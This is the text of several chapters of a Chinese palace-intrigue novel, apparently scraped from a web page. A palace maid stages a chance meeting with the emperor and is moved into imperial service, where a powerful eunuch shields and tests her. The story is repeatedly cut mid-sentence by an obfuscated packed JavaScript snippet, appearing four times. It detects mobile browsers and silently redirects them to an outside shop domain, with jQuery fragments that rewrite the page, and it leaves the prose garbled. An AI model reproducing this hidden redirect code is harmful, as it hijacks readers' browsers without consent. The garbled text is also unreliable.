皇帝本在思念亡母，一行人缓步而行，离那拐角还余三两步的时候，视线里忽而微有一动，皇帝下意识地定睛，便见原是纤纤玉指扣在了墙角上。 隔着这个拐角，他能看到的只有这葱白玉指，亦不知出了什么事，便皱了眉，脚下也未停。 如此，只在下一息他就看到了拐角那边的人。她跌坐在地，手艰难地扶着墙，姿态婀娜弱不禁风。 卫湘也在同一瞬里看见了他，准确地说，是扫见了那一抹威严的玄色。她没敢贸然抬头，因为这只是“偶遇”，她有一分不慎都会显得刻意。 她即刻收了手，低眉顺目地下拜，口道：“陛下圣安！” 声音柔曼，语气却慌张。 其实她的心也真是慌的。她觉得在方才下拜前的那一瞬间，他应该看到了她的脸。可这一切到底太快，天色又暗，他还有那十二旒遮挡视线，究竟看没看到，她也拿不准。 掌印太监容承渊因走在皇帝身侧，迟了一步才过来，并未瞧见面前宫女的模样。 但他听到皇帝有一声吸气放得迟了，敏锐地捕捉到这异样便扫了眼他的脸色，继而开口，慢条斯理地问话：“怎么回事？何以这样失礼，惊了圣驾。” 容承渊声线温润，并不似许多旁的宦侍那样听来让人别扭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13738273|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。卫湘又跪伏在地，一时只道这是天子问话，忙磕了个头，声音瑟瑟打颤：“陛下恕罪！奴婢适才去兰池宫拜见淑女娘子，出来时不慎扭了脚踝，走到此处实在撑不住了，这才不慎跌倒，不料惊扰了圣驾！” 容承渊边听她说，边继续静观皇帝的反应。卫湘说完这番话，心已提到嗓子眼，连呼吸都变得不畅。 话毕周遭静了一瞬，清冷持重的男音落下来：“你是慈寿宫的？朕却不曾见过你。” 卫湘方知刚才那声音并不是皇帝，又答：“奴婢粗笨，只在慈寿宫外院洒扫，因此不曾见过天颜。” 这话答完，她听到一声淡泊的“哦”。 然后，天子没再说什么，便又提步前行，身边的太监亦不多话，有序地经过她的身前，往早朝的宣政殿去了。 但卫湘的一颗心重重地落回去，归于尘埃落定的安然——经了慈寿宫一场，她早就知晓，自己就是生得再美，也不当指望在这初见时就让皇帝与她多说什么，否则便显得皇帝举止轻浮、耽于美色。 因此，只消皇帝肯与她说一句话，这事就该是成了。 御前当差的都是人精，最会洞察天子心意，九五之尊开了金口对一不相干的小宫女问话，不论说的是什么，他们都该能会意才是。 果不其然，卫湘又料对了。当前头的人都走过去，队尾的那个小宦官停在了她的面前。 小宦官笑嘻嘻地伸手扶起她，放轻声音道：“姑娘快些起来，咱家扶姑娘回去，先请个医女来为姑娘瞧瞧脚上的伤。若只是扭了筋骨，能直接正位，姑娘便随咱家去紫宸殿吧！” 卫湘目露犹疑，显得困惑：“谢公公关怀，只是……求公公明示，何以要奴婢去紫宸殿了？” 那小宦官眼睛一转：“这事是巧了，紫宸殿前阵子刚有个侍茶的宫女姐姐被赐了婚，嫁给御前侍卫做夫人去了，这一来就有了空缺，容掌印近来正欲寻人补上。今日碰巧遇上姑娘，也是缘分，便就先由姑娘试试看吧！” 这说辞……真就只是个说辞，漏洞百出不能细究，却足以让卫湘心领神会。 卫湘垂眸福身：“那便承蒙公公抬爱。” “姑娘请。”那小宦官伸手一引，接着就扶着她，与她一并回了慈寿宫的院子。 白姑姑亦是个人精，一见卫湘被御前的人送回来，心里就有了些眉目，不必这年轻宦侍开口便道：“哎！好端端地怎么伤了？快，知念，快去请个医女来给瞧瞧，莫耽误了紧要事！” 那唤作知念的小丫头应了一声，立刻去了，不一刻就请了医女回来。 卫湘歇在房里褪了鞋袜，那医女上前仔细查验一番，见果真是扭了筋骨，就向卫湘说了句“姑娘忍忍”。 接着不等卫湘反应，医女就稳准狠地伸手一拧。 又是“咯吧”一声，卫湘痛得眼前发黑、周身一紧，但等那片黑散去，便觉脚上肿痛俱散，已然恢复如初。 7.怀表 卫湘渐渐缓过气息，试着站起身走了两步，虽脚踝处尚有酸胀残存，但已能忽略不计。她便取了碎银谢那医女，御前留下的那宦侍也不耽搁，这便催促起了卫湘，让她速速收拾了家当，随他去紫宸殿。 卫湘的家当不多，无非几件女孩子家贴身穿着的衣物及锦帕，外加几件首饰、几许积攒的银钱。 至于外头的宫装，因宫中各处宫人装束都不相同，她调去紫宸殿便要穿那头的衣裳，慈寿宫这边的也就不必带了。 因而要带走的东西不过小小一个包袱就装下了，卫湘推门而出的时候，好几个相熟的宫女聚在门口，看着她，眼中有羡慕有喜悦亦有担忧，终是热热闹闹地说了一通吉利话。 年长些的叮嘱道：“御前不比咱们这边，你万事更要谨慎些，多保重。平日若是得闲，也不妨常回来坐坐，大家姐妹一场，总会记挂你的。” 年幼的听到这儿忙接口：“就是就是！姐姐倘是不忙就回来找我们玩吧！姐姐爱吃什么点心，我们可都记得呢！” 卫湘一一谢过众人，又从包袱里取出几件首饰赠与她们，更挑了块成色尚算不错的玉佩奉与白姑姑，算是谢她这些日子的照顾，就不再多留，随着那宦官去了。 待她走远，那些宫女方嘁嘁喳喳地将心底话说了出来。 先是一个年幼的快言快语：“我看湘姐姐在紫宸殿也待不长！我若是陛下，就把她收进后宫去！” 一旁年长的几个纷纷点头，当中一个掩唇笑道：“我瞧也是。她那张脸呀，又漂亮又福相，合该是当娘娘的命呢！” 白姑姑见她们聊得大胆，变了脸色：“浑说什么！我素日不爱动些鞭子板子治你们，倒惯得你们无法无天了！”说着她就一把拎过那个年幼的——适才这小丫头竟言及“我若是陛下就如何如何”这般的话，实在是不知天高地厚了！ 白姑姑提了她进屋，抄起戒尺，一记一记用足了力气打在她身上。 那小丫头初时还叫了一声，挨了两下就警醒了，不敢再有疏漏，忍着疼按规矩跪下去硬生生撑着责罚，不敢哭叫告饶。方才与她一同说笑的宫女们见此也安静下来，立在白姑姑房外大气都不敢出一口，个个噤若寒蝉。 白姑姑为了杀鸡儆猴，狠着心足足打了那小宫女二三十下才收了手，戒尺一扔，冲着外头众人横眉立目：“想活命就都记着！湘儿这事不论谁问起来，你们都只说不知缘故。若碰上非要刨根问底的，便讲明事发时她在慈寿宫外，咱们满院的人皆不知情，可记住了？” 外头众人连同那刚挨了打的小宫女都不敢不应，忙齐声道：“奴婢谨记。” 白姑姑仍没好气，瞪那小宫女一眼：“滚回房让姐姐们给你上药去！” 小宫女赶紧爬起来，抹着泪走了。 众人虽则是挨了训，却知白氏用心良苦。宫里主子众多，性子不尽相同。卫湘这点子事，落在大度豁达的主子耳朵里自不算个事，可若叫那尖酸之人知道了，免不了要猜忌是她们这一院的人帮卫湘谋划，指着卫湘得宠好带她们鸡犬升天，那可就麻烦了。 这厢白姑姑及时出手按住了众人，那头卫湘在约莫一刻后也就到了紫宸殿。 紫宸殿乃天子居所，宫人们无不训练有素，办起事来条理清晰。 是以早在卫湘看伤、收拾的时候，这边就已得了消息，不仅知道有新的宫女要拨过来，就连过往当差的典籍、家世，乃至身量几何都已报到了紫宸殿。 因此当卫湘到紫宸殿时，房间床铺已给她安排好了。那带她前来的宦官先从同僚口中问明了在哪间屋，就领她先去放了包袱，然后便带去紫宸殿，领进一旁的耳房。 这耳房平素是备茶的地方，御前宫人若要小歇也在此处。 卫湘到时，早有个大宫女等在这里。她瞧着和白姑姑年纪相仿，俱是三十多岁，但在慈寿宫当差的白氏已经独挡一面成了掌事女官，她在御前却只是个还算得力的大宫女罢了。 可再反过来说，明面上虽是白氏位份更高，但御前终究是御前。真论及体面，只怕还是这大宫女更体面些。 这大宫女行事干练，卫湘才见了礼，就听她道：“我叫琼芳，旁的妹妹多称我一声‘芳姐姐’，你也这么叫便是。”说着就径自转过身，从身后的木几上托起一方托盘交予她，“这是外殿宫女统一的宫装首饰，因你来得急，我只得先为你寻了一套身量差不多的暂且支应着，但尚工局与尚服局那边都已知会过了，这几日他们自会将余下的补齐。” 卫湘双手接了托盘，再度福身：“谢芳姐姐。” 说话间眉目低垂，略略扫了眼托盘中的物件：御前宫装、首饰比先前那些地方都讲究，这是在卫湘意料之中的，不必多提。倒是还有一枚小小的黄铜色圆饼挂着细长链子放在衣服上，让卫湘一怔：“这是怀表？” 琼芳正伸手欲拿那怀表，闻言笑了：“我正要讲给你，你倒识得？可会看表么？” 卫湘点点头：“早先在造钟处当过几日差，会看表的。” “会看就好。”琼芳颔首，“御前规矩紧，时常看表，要紧差事就不会误了时辰。喏，发条在这边。”琼芳拿着怀表，轻轻拧动旁边的旋钮给她看，“你隔上三五日就拧上一拧，免得它停了你却不知。” “我记下了，多谢姐姐。”卫湘欠身轻应。 琼芳的目光正划过她，恰见她樱唇噙笑，就看得心里也软了，不由多说了一句：“咱们规矩是紧，可你也不必太怕。有什么不懂的，尽可来问我，都是慢慢来的。” 卫湘又道了声谢，琼芳摸了自己的表看了眼，便说陛下大约要下朝了，嘱咐卫湘先回去收拾歇息，稍后会有人前去教她规矩。 卫湘并不急于此时再见圣颜，便依言告退，回了紫宸殿后供宫人们居住的庑房。 一路上，她手里捧着那只盛着衣裳首饰的托盘，目光却始终落在那块怀表上。御前当差的荣耀她从前便知晓，又或者说，这在宫里是无人不知的。自御前差出去传话的人，哪怕只是个做粗活的杂役，旁的地方也要高看一眼。 可在从前，这终归只是一种虚无缥缈的艳羡，人人都觉得御前好，可究竟好在何处，却难说出一二——倘使说赏赐多，侍奉后宫得脸的主位娘娘赏赐也未见得少，反倒御前规矩更严人尽皆知。 现如今，因着这块表，御前的尊荣倒忽然被勾勒得清楚了，卫湘因此头一次窥见了一抹实实在在的不同。 这表其实看起来普通得很，表壳只是素面黄铜，内里的表盘也不过白底黑字，无分毫点缀，可这也仍是罕见的东西。 她从前在造钟处当过差，很是知道钟表的贵重，一直以为凡是钟表都是后宫妃嫔才有的，再不然也得是那些得脸的掌事们才见得着。 可在御前，为着当差不出错，就这样人人都有了。琼芳适才说及这表，脸上毫无在意稀罕之色，仿若这些个表全然不值什么，只是一件不打紧的寻常工具罢了。 卫湘再想起从前昏暗的永巷，觉虽然身在同一座朝禁城中，御前却如另一片天一般。更觉得从前的隐忍与守拙尽是错的，早就该拼力地向上爬才是。 如果她早就爬得高高的…… 如果她早就爬得高高的，玉露或许也不会死了。 . 约莫一刻后，宣政殿下了早朝，圣驾回了紫宸殿，便有得力的宫女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740499|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们上前服侍更衣。 掌印太监容承渊趁着这时可歇上一歇，就如往常般去了角房。 他自幼伴在当今天子身边，年龄实比当今天子还要小上两岁，今朝不过是二十三。但因在这首屈一指的掌印之位上，此时已不仅有了不少徒弟，就连徒孙都有几个了。 现下来给他端茶的就是一个徒孙，因为姓何，就被唤作小何子。小何子半年前刚调到御前来，比容承渊足小了一轮年纪。 许是因为年纪太小，小何子还有些不知天高地厚，并不似旁的宦官那般敬畏容承渊，趁着给他上茶的工夫，就将心里闷的疑惑问了出来：“爷爷，我不明白，那位卫氏姐姐才来御前，怎么就得了怀表啦？” 一声“爷爷”叫得容承渊险些呛了茶，他放下茶盏，身子前倾，手肘撑在膝上，眯着眼睛看小何子：“说没说过，不许喊爷爷？你再胡喊，我可抽你。” 小何子仰着脸认真地辩解：“可我师父说，辈分就是这样的。还说我若不听，他就抽我。” 容承渊知是那比自己小不了几岁的大徒弟张为礼在成心逗闷子，咬着牙笑：“那我一会儿去抽他。”说罢顿了顿，面对眼前小宦童的请教，倒很耐心，“表的事，你有什么不懂？” 小何子歪着头边思索边说：“明明都是内殿伺候的哥哥姐姐们才有的，她才调来，当什么差事都还不一定。况且……因为陛下问了两句话就调过来的宫女又不止她一个！年初的田氏也没得着表呀，不仅没得着，后来还被我师父打发走了呢！” “哈哈。”容承渊听得笑了。 他也记得那田氏，田氏调过来的原因和如今的卫氏差不多。只不过，他们御前宫人虽然善于洞察君心，却终究不是天子肚子里的蛔虫，今上也并不多么色迷心窍，有时与陌生宫女说两句话是因生了好感，也有的时候就只是随口谈天，并不做他想，他们难以次次都拿得精准，最不错的法子当然就是先把人调过来，让她在圣上跟前晃上几次，圣上的心意自然就明朗了。 圣上有意的，自有出路。 圣上无意的，就如田氏那样打发去别处。免得圣上无意她却有心，闹出些不得安宁的事来。 至于为什么卫氏过来就有了怀表，田氏却没有…… 容承渊脑海中不自觉地浮现出卫湘那张让人见之忘俗的脸，转而又去想田氏，却是连五官都模糊得记不清了。 他便问小何子：“你瞧田氏和卫氏有什么不同呢？” “我……”小何子认真想了想，拧起眉头，“我不知道……只记得田姐姐的点心做得好吃，这位卫姐姐，我还连话都没说过，不太清楚。” 他这话说得万分恳切，容承渊挑了挑眉，忽而意识到他这年纪意味着什么，信手抄起适才搁在手边方几上的折扇，在他额上一敲：“你啊，还没开窍，傻子一个。” 小何子只当这话是说他办差还不够聪明，一时很是受挫，低下头不吭声了。 他想着一会儿再请教师父去，师父必然肯教他，容承渊却像会读心，慵懒的声音从他头顶上落下来：“这事莫要四处去问，再过几年你就懂了。” 小何子不禁怔忪，只得应一声：“诺。” 他说着顿声，眼眸微眯，唇角转过一缕意味深长的笑：“晨间卫氏言及是从兰池宫回慈寿宫时扭着的脚，你代我去兰池宫递个话。” 小何子一愣，不明就里：“递什么话？” 容承渊道：“我一句句交给你，你认真记下，须得每一句都说给那头听，不可有疏漏，也不要画蛇添足。” 小何子既紧张这差事，又觉掌印肯亲自教他的机会实属难得，便打起十二分精神听这吩咐。 8.学礼 容承渊好似生怕他记不住，将语速放得很缓，说出这么一番话：“你到了兰池宫就往闵淑女的竹静斋去，记住，这话你须亲口告诉她身边掌事的希微，不可随便寻个人说。” “你告诉她，慈寿宫宫女卫湘今日从兰池宫回去的时候扭了脚，恰好让陛下碰见了，不免过问了两句，后由我做主调到了紫宸殿侍奉。我想该是因晨起天暗看不清道才会如此，为免旁的宫人日后再跌了碰了，劳闵淑女在从兰池宫宫门至竹静斋的一路多多燃灯，照明道路，灯油的钱由内官监支取。” 这听来只是一番寻常嘱咐，小何子不懂容承渊为何叮嘱得这般郑重，但还是踏踏实实地牢记下来，还在容承渊面前学了一遍，方往兰池宫去。 到了兰池宫，他谨记着容承渊的叮咛，不敢偷懒，直到见着希微才说：“掌印大人着奴来传话，说是慈寿宫有个宫女叫卫湘，今日从兰池宫回去的时候偶扭了脚，恰叫陛下碰见了，不免过问了两句，容掌印便将她调到了紫宸殿奉茶。” “掌印想着是晨起天暗看不清道才会如此，为免旁的宫人日后再跌了碰了，劳淑女娘子在从兰池宫宫门与竹静斋间的道路上多多燃灯，照明道路，灯油的钱去内官监支取便可！” 小何子按着容承渊的嘱咐，一句不敢少、一句不敢添地将话说完了，就等着希微的反应。 希微是闵淑女身边得力的人，从前又侍奉过谆太妃，一听就懂了。 她便给小何子塞了一锭银，叫他去买点心吃，又道：“替我向容掌印道一声谢！” 小何子接了银子，心里仍没想明白这番叮咛的意味，一时想请教希微，心下又知这不合适，便直接回去复命了。 这厢希微待小何子走远些就径自出了竹静斋。她去了前头兰池宫正殿，这处虽是正殿，但并无嫔妃居住，因此管事的也只是个年轻的小太监。 希微带着忧色跟他说：“我交待你个事。今日一早，与闵淑女交好的宫女卫氏过来送她手抄的经，出去时天太黑了，不慎崴了脚。日后你往这一段的路上多燃些等吧，莫叫旁人也崴了，再去前头也叮嘱一声。” 话中自略去了是容承渊的叮咛。 这宦官闻言有那么一瞬的困惑，因为他晨起就在当值了，却不记得有哪个崴了脚的宫女经过此处。转念又想，也未见得就是在这一片崴的。 他于是应了希微的话，再去前头知会另几处宫室的掌事。如此一直传到兰池宫宫门那边，三四位掌事就都知晓有人崴了脚的事了。只是件小事而已，也不至于有人起疑。 因此背后的虚实，就只有容承渊与希微两个人知道了。希微折回竹静斋时心里咋摸着滋味，暗暗赞叹容承渊的本事。 卫氏这崴脚究竟是在哪儿崴的、如何崴的，只有她自己清楚。可宫里人多口杂，这般经过若被人捕风捉影地串联起来说故事，不免就成了她有意勾引圣上，而圣上怜香惜玉，着了她的道。 这等传言一出，她一个小小宫女是善是恶倒不打紧，却会危及陛下的圣誉，不免会觉得这是陛下见色起意，失了判断。 如今有了容承渊这出安排，他们这边再把该做的做足，显得卫氏是真因为天黑崴了脚，再结合容承渊的话，事情就好看多了——满宫里都知道陛下不大往兰池宫来，闵淑女一心修行不理世事，更不可能帮一个交好的宫女荐枕席。 那么卫氏在闵淑女这里崴了脚自然就只是崴了脚，不能是别有用心。 闵淑女着人加点灯火，是体恤下人；陛下偶遇卫氏关照过问，亦是体恤下人。 卫氏被调去御前，那是容掌印做的主，和陛下并无关系。 至于日后若卫氏“步步高升”，就成了在御前当差和天子日久生情。虽然结果并无不同，听上去却比见色起意强了太多。 “门道真多啊。”希微不由慨然，遂接着专心做分内之事，不再多想卫湘的是非。 紫宸殿那边，卫湘虽得了一应宫装首饰、怀表腰牌，却并未能直接当差，反倒是跟着尚仪局的女官重新学起了规矩。 她这才知道，先前在宫道上那宦官跟她说先前的侍茶宫女被赐了婚原不全是假话，约莫一个多月前，紫宸殿确有宫女嫁了出去，且还不止一个。 是以这会子拨过来填空补缺的新人也并不止她一个。在她被调来的前后三两天里，先后还有十余位宫女被陆续调了过来。 她们都和卫湘一样，从前都在别处当过差，没有哪个是刚进宫的。因此都不免自以为早将宫中规矩烂熟于心，对于眼前差来的女官不甚在意。 然而众人很快就发现事情并非她们所想那么简单，宫里的规矩明面上处处相同，实则在御前要严格很多。单是一个寻常的福身见礼，在别处只是屈一屈膝的事，在御前却是太高不行、太矮也不行；再讲到深福，又要求脚下须稳腰杆还要挺直，不能佝偻身子。 至于行走、奉茶、上点心一类的活计，仪态要求就更苛刻。 如此三日学下来，便几乎人人都挨过些罚。偶有个惫懒懈怠的，更被直接按在春凳上吃了一顿板子，自此再无人敢有松懈。 到了第五日，众人自卯时晨起就被要求顶着水碗练站桩，仪态稍有不好便要抬手挨一戒尺，其间水碗还不能洒。 待到巳时终于得歇时，十几个宫女都已筋疲力竭，一时间几乎全都瘫软在廊下。好在那尚仪局女官虽然严厉却非不近人情，此时也知她们辛苦，便不计较这休息时的仪态不妥，任由她们横七竖八地歪着，径自回屋喝茶去了。 卫湘在廊下栏凳上随处找了个地方坐，背靠着红漆柱舒缓疲惫。 忽而不知谁喊了一声：“是容掌印！”卫湘就见身边疲惫不堪的宫女们一窝蜂地涌向院子门口，脸上无不写着兴奋。 她并不知她们为何会这样。因为她们从前当差的地方都比她去过的浣衣局、造钟处、花房要好不少，她唯一拿得出手的只有慈寿宫那一遭，也只待了不过月余，并不足以让她了解太多。 在她心里，只觉得这些权宦都是可怕的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13743805|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 因而她纵有好奇，也只略往前走了几步就止了脚，却见别的宫女也与她差不多，最多也就敢涌到院门口，不敢贸然出去。 看来，权宦果然还是可怕的。 容承渊也并没有进来，只看到一个十岁上下的小宦童脚步飞快地跑进院子，径直入了那位尚仪局女官所住的正屋。 只消几息，在房内喝茶的女官就带着两个手下的宫女足下生风地迎了出去。 卫湘又移了几步，便见三人一并向那身着银灰色曳撒的挺拔身影恭敬深福。 “掌印大人安好。”女官的问安声将容承渊的神思拉回来，他略微侧首：“着卫氏回话。” 女官闻言，即刻向身边的宫女睇了个眼色，那宫女三步并作两步地折回身后的院子里，向卫湘道：“快随我来。” 卫湘心头一紧，却不敢问什么，垂首随她出门。行至容承渊面前，她如那三人方才一样施了深福，轻声道：“掌印大人。” 容承渊居高临下地睇着她，卫湘辨不清那目光是欣赏还是审视，只维持该有的仪态。 少顷，终于听到他说：“五日了，规矩学得如何？” 卫湘一滞，正不知这话该怎么答，容承渊的视线直接瞟向那女官：“你说。” 女官低眉敛目：“卫姑娘只在第二日挨过十记手板。” 卫湘听到这种作答，心生恍悟。 这问题答好或不好都太模糊，但如这女官这般作答就清晰了。 宫中的一应宫人，无论尊贵如容承渊还是低贱如暴室苦役，都学过规矩，也都在学规矩的过程里挨过罚，说及其间挨罚的多少，彼此自然就对好坏心中有数了。 容承渊点了点头，道了一句：“随我来。”说罢转身便走。 卫湘知晓这句是对她说的，连忙起身，见容承渊走得急，便欲提裙去追。听得女官在身后一声干咳，记起这般也于礼不妥，又不得不压下几步，维持住沉稳得体快步去跟。 然容承渊个高腿长，虽没有走得多快，卫湘跟得也不容易，直过了十余丈才勉强跟到他身侧。 容承渊耳闻脚步声总算近了，目不斜视地问她：“手上可还有伤？” 这话听来似是关照，卫湘不禁想起曾对她有所图谋的老太监王世才，心下不禁生寒，勉力镇定道：“女官打得不真，早便无碍了。” “好。”容承渊足下迈过紫宸殿耳房的门，卫湘跟着一并进去，乍觉四下一空，略作回头，方见适才随在容承渊身后的几名宦官都垂首停在了耳房门外，不曾入内。 她心下的那股寒意不由又涌了一阵，但也知这是紫宸殿，容承渊断不能做什么。 容承渊踅身落座到茶榻上，迎着她的满目紧张，吐出两个字：“上茶。” 卫湘略略一怔，旋而明白他的意思，忙整理精神，束手行至一侧矮柜前，依照女官先前的教导在托盘中置了茶盏，取出皇帝近来常饮的明前龙井，安静地沏好，又依着皇帝的喜好晾至七分热，方端给容承渊。 9.涉险 容承渊抬手接那瓷盏，卫湘低着头，首先看到的便也只有那只手。 那是只冷白色的手，但手指修长，又收拾得干净，倒也好看。接着，随着视线微移，卫湘虽仍低压着目光，但也总算从余光里看清了这位朝禁城里一等一的权宦长什么模样。 乍一看，他竟是个生得很俊美的人，甚至有点太俊美了，不似她印象中的宦官，倒像个儒生。 但再细瞧，那一双桃花眼眼尾上挑，似是渗着一缕宦官特有的阴柔，细品之下，又仿佛并非阴柔，而是阴冷。 他正垂眸品茶，那低垂的眼帘里藏了太多的东西。一股威严从这份复杂里无端端地沁出来，继而让人意识到在这张俊美无俦的面孔之下，藏的是一颗杀人不眨眼的心。 卫湘探明这些，一股寒凉直从后脊窜上天灵盖。这种感觉十分奇异，倘若只从面前这个人的模样看，他其实比王世才那老宦官强上千倍万倍也不止，可他身上那股莫名的气质就是让人惧意横生，也要比那王世才多上千倍万倍。 卫湘一次次安静地调理呼吸，足缓了好几次才算平静下来，让自己有余力继续面对眼前的考验。 容承渊品这盏茶品得很是慢条斯理。 其实在接过茶盏的一瞬，他就从盏下托碟上蔓延出的余温判断出了温度是否合宜。继而又揭开盏盖，先看茶叶用量适不适度，再嗅茶香，最后才是品那茶水。 等到温暖的茶水划过喉咙，容承渊终于将茶盏搁在一旁，桃花眼抬了两分，脸上那副似笑非笑的样子犹如一张面具，虽然完美却让人无法探知他的心思。 他看着卫湘，口吻温和到在卫湘听来很不合他的权宦身份：“近来陛下为着南方的疫病焦头烂额，本不该此时让你进去侍奉，但这事再拖下去也不好。一会儿陛下下朝，便由你去上茶。” 说及此处，他已站起身：“小心伺候。” “……诺。”卫湘低着头应声，听到自己的声音在打颤。 容承渊阔步往外走：“从陛下回来到更完衣，约莫是一刻。你看着表，从到一刻开始沏茶，沏好便送进殿里去。” 即将再见圣颜的事实因这句话而变得格外清晰，卫湘便忽而冷静下来，垂首福身：“诺，多谢掌印指点。” 容承渊未再言一字，就出了门。候在门外的小宦官在他离开后悄无声息地将门阖上，卫湘仍留在里面，周遭只余死一般的寂静。 这种寂静一时让人心里发空，卫湘的心跳没由来地乱了一阵，但又很快恢复。她沉入这种寂静，转而一刹间，她开始回思容承渊适才的话。 容承渊跟她说，皇帝近来忙于南方的疫病，本不该让她此时侍奉，还要她“小心伺候”。 这话，极易让人格外关注那句“小心伺候”，会让人提心吊胆，生怕自己出一点差池。 卫湘刚才初闻这话也是这样想的，在那寥寥数字里，她甚至已经想想了很多伺候不周的可怖结果，霎时心弦紧绷，生怕稍有不慎就丢了性命。 可现下，许是因为周遭太静，她的心也安宁下来，转而从容承渊的话里参出了另一层意思。 她的脑海中浮现出一个画面，是她还在花房的时候，曾经被迫去给王世才端茶送水。 当时她已知王世才对她的图谋，忍着万般恶心走进他的房间，好似每往前走一步都能闻到他身上腐朽的味道，更怕他趁这机会抓了她不放，让她无处可逃。 可当她将茶放下，王世才却根本没顾上她，连眼皮都没抬一下。 后来她听说，王世才那时正忙着清理去年的账册。花房上头的几位宦官，以王世才为首，个个都贪得无厌，时常中饱私囊，又很会把账面做平。 但去年的账目不知是什么地方出了错，竟无论如何也做不平了。底下人实在没法子，硬着头皮交给王世才，王世才怕掉脑袋，急得像热锅上的蚂蚁，一味只想先将这一劫过了，哪里还顾得上其他！ 现下，卫湘觉得皇帝与当时的王世才，大概是差不多的。 南方的疫病远比那笔烂账更要严重，事关人命、事关天下太平，皇帝为此焦头烂额，便大有可能也顾不上前来奉茶的宫人。 那她若只是“小心伺候”，纵不出错，又有什么用？ 皇帝读着奏本，恐不会看她一眼。 容承渊在试皇帝的心思，也在试她！ 她现在的处境看似安稳，实则紧迫。 若说添人，御前当然是不在意多她这一个，可她是因为那种缘故才被调来，陛下究竟有意无意，便需尽快有个眉目才好。 若有，皆大欢喜，哪怕皇帝并无意直接册封，只让她先在御前侍奉，也算定下了她的去处。 而若皇帝根本无意，一切就要另当别论。她一个小小宫女状似无关紧要，可若她是御前的掌事们，也会怕将这样一个人留下是个祸患——一边是天子无心，一边是她已生憧憬，这般情形最容易惹出事端。那么，直接把她打发去别处最为稳妥了。 可她不能被打发走，她不想再回到那些朝不保夕的日子里去。 那她就不能让掌事们觉得，皇帝对她是无意的。 卫湘揣摩个中利弊，暗暗心惊。 正这时，外面隐有一阵响动，卫湘便知是前头下了朝，圣驾已回紫宸殿来。 她稳住心神，立即摸出怀表看了眼。因着心里紧张，在之后的一刻里，她的视线几乎都没敢离开那块白底黑字的小圆表盘。 一刻一到，卫湘深吸口气，走向墙边矮柜，再度沏茶。 耳房里的小炉上常备着热水，烧开后就已小火温着，虽不一直沸腾，犹有小泡持续升上来，仍是十分的热度。 卫湘用心地将茶沏好，稍等片刻，端起托盘去往正殿。 迈入殿门的刹那，其实当算是她头一次真正入了紫宸殿。虽则旁边的耳房也算得紫宸殿的一部分，她已进过两次，但那地方素日只有宫人进出，与九五之尊实在没什么关系，置身其中只能感受到几许御前规矩的严厉，却难品得帝王威仪。 当下真正步入殿门，才入得供臣子候命的外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13751527|144988||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 殿，卫湘便猛然觉出了不同。 那是一种扑面而来的不同，将她的五官之觉全都触动。 她低着眼帘，目光所及之处是唯天子可用的桐油金砖，淡淡光泽令人舒适。四下里雕梁画栋，吉祥如意的纹样上无不勾勒着金辉，但同样光泽浅淡，并不刺目。 此外，殿中还有香炉正焚着香。但那味道柔和之至，若有似无，既直沁人心又难以觉察。 因此卫湘虽觉出了不同，但目光左右扫了两回，却全然说不出这不同来自于何处。 此时她还不知道，如此这般才是极致的华贵。 那种让人一眼能瞧出奢靡要么是本身做得艳俗扎眼，要么就是满屋子里只那一两样是奢靡的，因此被旁的物件衬托得分明。 而真正的奢华就当是现在这样，虽处处讲究却浑然天成，乍一看反倒教人说不出个所以然来，只觉得“大气”“好看”。 卫湘无形中感觉到一股子厚重压下来，不由放轻了呼吸，足下已步入内殿。 容承渊说得果然准确，在她进殿的时候，皇帝刚换下冠冕从更后头的寝殿出来，刚在御案前落座。 容承渊侍立于天子身侧，见卫湘进来，眼皮略抬了一下，就又垂下去。 卫湘低眉顺目地进去，执着茶盏下的瓷碟子，将茶置于皇帝手边，怕做得太假让人看出端倪，便不多作一分停留，直接按规矩低着首后退。 皇帝下朝回来，正觉口渴，虽思绪皆尽转在疫病之事上，还是下意识地端起茶盏饮了一口。 然而茶水才刚入口，那股热就猛地激荡而开，虽不至烫伤，却令他呛得一咳。 “咣”地一声，茶盏被狠搁在桌上。 